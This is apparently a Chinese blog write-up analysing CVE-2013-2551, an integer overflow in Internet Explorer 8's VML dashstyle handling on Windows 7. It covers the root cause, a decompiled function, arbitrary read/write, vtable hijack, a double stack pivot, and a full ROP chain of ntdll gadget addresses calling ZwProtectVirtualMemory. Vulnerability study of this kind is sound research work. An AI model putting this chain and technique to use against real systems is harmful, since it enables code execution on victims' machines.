Exploit IntegerOverflow 2017/05/31
CVE-2013-2551分析

0x00.环境

系统: WIN7

浏览器: IE 8.0.7600.16385

0x01.成因

设置dashstyle.array.length值时,会造成整数溢出,导致数组越界访问

VML介绍和CVE分析,这里有篇好文章

《CVE-2013-2551漏洞成因与利用分析》

0x02.要点

1.dashstyle数组如何分配的?

初次用MsoFAllocMemCore分配0x10字节,后续用MsoFResizePx每次递增0x10重新分配,具体可以自己分析ParseDashStyle函数

2.POC上dashstyle数组赋值有含义吗?

只要不是全0就OK,全0则会FREE掉dashstyle数组,参见SetArrayProp函数

void __stdcall SetArrayProp(int a1, int a2, int a3)
{
  int v3; // edi@1
  int v4; // esi@2
  int v5; // eax@5
  int v6; // ST0C_4@5
  int v7; // eax@5
  int *v8; // eax@5
  int v9; // eax@5
  v3 = a1;
  if ( a1 )
  {
    v4 = a3;
    if ( a3 )
    {
      if ( a2 == 463
        && (v5 = *a3,
            v6 = a3,
            BYTE3(a1) = 0,
            v7 = (*(v5 + 44))(),
            v8 = (*(*v4 + 32))(v4, 0, v7),
            v9 = GELEnumFromDashLengths(v8, v6, (&a1 + 3)),
            SetPropA(v3, 462, v9),
            BYTE3(a1))                          //全0的话上面GELEnumFromDashLengths会置a1导致执行下面的Free
        || !SetPropA(v3, a2, v4) )
        (*(*v4 + 4))(v4);                       // Free
    }
    else
    {
      SetPropA(a1, a2, a3);
    }
  }
}
3.如何实现利用?

_vgRuntimeStyle对象首次调用rotation方法时,会申请0xAC(实际占用0xB0)空间,而其对象0x58偏移处另一个属性marginLeft的值是可控的,从而实现任意地址读写,获得ntdll.dll基址

4.如何控制程序流程?

COAShape类方法_anchorRect会申请0x10字节,当回收内存时候,会调用其虚函数表第三个函数

5.ROP中为什么要切换两次栈?

第一次获得控制权需要在一次GADGET中实现栈切换,由于没有XCHG ECX,ESP这种GADGET,所以需要切换2次栈

6.ROP链

由于不能出现0x0000,所以利用AND DWORD PTR [EAX],0FFFFFFF实现特殊值的需要

    0x77a57213 :  # XCHG EAX,ESP # POP ESI # POP EDI # LEA EAX,DWORD PTR DS:[EDX-1] # POP EBX # RETN
    0x77ab1f9c :  # PUSH ESP # MOV EAX,EDI # POP EDI # POP ESI # POP EBP # RETN 0x04
    0x80000400 :  # edi -> NumberOfBytesToProtect
    0x90909090
    0x77a3aea5 :  # XCHG EAX,EDI # RETN edi -> eax
    0x90909090
    0x77a295d2 :  # AND DWORD PTR [EAX],0FFFFFFF # POP EBP # RETN 0x08
    0x90909090  
    0x77abe9c2 :  # XCHG EAX,EBP # RETN eax -> ebp
    0x90909090
    0x90909090
    0x77a19b9c :  # PUSH EBP # ADD EAX,5E5F0008 # POP EBX # POP EBP # RETN 0x04 ebp -> ebx
    0x90909090
    0x77ab1f9c :  # PUSH ESP # MOV EAX,EDI # POP EDI # POP ESI # POP EBP # RETN 0x04
    0x90909090
    0x80000040 :  # -> esi
    0x90909090
    0x77a8dff4 :  # XCHG EAX,ESI # RETN esi - > eax
    0x90909090
    0x77acad6e :  # AND EAX,5DFFFFFF # RETN 0x04
    0x77a19b60 :  # XCHG EAX,EDX # ADD AL0 # RETN  eax -> edx
    0x90909090  
    0x77ab1f9c :  # PUSH ESP # MOV EAX,EDI # POP EDI # POP ESI # POP EBP # RETN 0x04
    0x90909090
    0x90909090
    0x77a3aea5 :  # XCHG EAX,EDI # RETN  edi -> eax
    0x90909090  
    0x77a19c14 :  # XCHG EAX,ECX # ADD AL0 # POP ESI # RETN eax -> ecx
    0x90909090      
    0x77ab1f9c :  # PUSH ESP # MOV EAX,EDI # POP EDI # POP ESI # POP EBP # RETN 0x04    
    0x77a55a60,   # ZwProtectVirtualMemory  -> esi  esp!!!!!!!
    0xffffffff :  # -1 -> ebp
    0x77a7a59a :  # XCHG EDI,ESI # DEC ECX # RETN 0x04  esi <-> edi
    0x90909090
    0x77a8dff4 :  # XCHG EAX,ESI # RETN esi -> eax  
    0x90909090
    0x77a67a72 :  # ADD EAX,20 # RETN
    0x77a67a72 :  # ADD EAX,20 # RETN
    0x77a8dff4 :  # XCHG EAX,ESI # RETN eax -> esi  
    0x77a9608b :  # XOR EAX,EAX # INC EAX # RETN
    0x77a1e083 :  # PUSHAD # JP NTDLL!RTLCRC32TABLE+0X2B3 (77A1E08B) # INC ECX # RETN
    0x90909090
    0x90909090
    0x90909090
    0x90909090
    0x90909090
    0xcc